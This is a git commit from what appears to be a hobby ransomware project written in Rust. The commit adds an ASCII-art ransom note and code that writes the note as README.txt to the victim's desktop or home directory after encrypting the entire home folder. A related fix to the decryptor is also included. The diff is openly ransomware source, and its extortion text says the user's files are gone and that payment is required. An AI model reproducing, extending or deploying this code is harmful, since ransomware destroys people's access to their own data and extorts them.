feat: ransom note
This commit is contained in:
parent
55c0831579
commit
97343c6ca3
3 changed files with 31 additions and 3 deletions
11
note.txt
Normal file
11
note.txt
Normal file
|
@ -0,0 +1,11 @@
|
|||
|
|
||||
\ ___ / ____ __ __
|
||||
/ \ / __/__ / /_________ _____ / /_
|
||||
- | | - _\ \/ _ \/ / __/ __/ // / _ \/ __/
|
||||
\___/ /___/\___/_/\__/_/ \_, / .__/\__/
|
||||
/ \ /___/_/
|
||||
| Made by Xory
|
||||
|
||||
So... you messed up.
|
||||
Your files are gone.
|
||||
Now you're going to have to pay us money at [not implemented yet] to get your files back or whatever. I built this thing for fun ffs.
|
|
@ -7,6 +7,6 @@ fn main() {
|
|||
let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail!
|
||||
#[cfg(target_os = "linux")]
|
||||
let home: String = env::var("HOME").unwrap();
|
||||
decrypt_directory(&home_dir).unwrap();
|
||||
decrypt_directory(&home).unwrap();
|
||||
|
||||
}
|
||||
|
|
|
@ -4,12 +4,22 @@ use crypto::register;
|
|||
use std::env;
|
||||
use std::thread::sleep;
|
||||
use std::time::Duration;
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
|
||||
fn main() {
|
||||
const NOTE: &str = include_str!("../note.txt");
|
||||
|
||||
fn main() -> std::io::Result<()> {
|
||||
#[cfg(target_os = "windows")]
|
||||
let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail!
|
||||
#[cfg(target_os = "windows")]
|
||||
let ransomnoteloc = format!("{home}\\Desktop\\README.txt");
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
let home: String = env::var("HOME").unwrap();
|
||||
#[cfg(target_os = "linux")]
|
||||
let ransomnoteloc = format!("{home}/readme.txt");
|
||||
|
||||
encrypt_directory(&home).unwrap(); // I know this many unwraps look
|
||||
// suspicious, but the chance of this
|
||||
// failing is less than a solar flare.
|
||||
|
@ -22,5 +32,12 @@ fn main() {
|
|||
sleep(Duration::from_secs(5));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// Write ransom note to desktop
|
||||
let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for
|
||||
// the user's HOME
|
||||
ransomnote.write_all(NOTE.as_bytes())?;
|
||||
ransomnote.flush()?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
|
Loading…
Reference in a new issue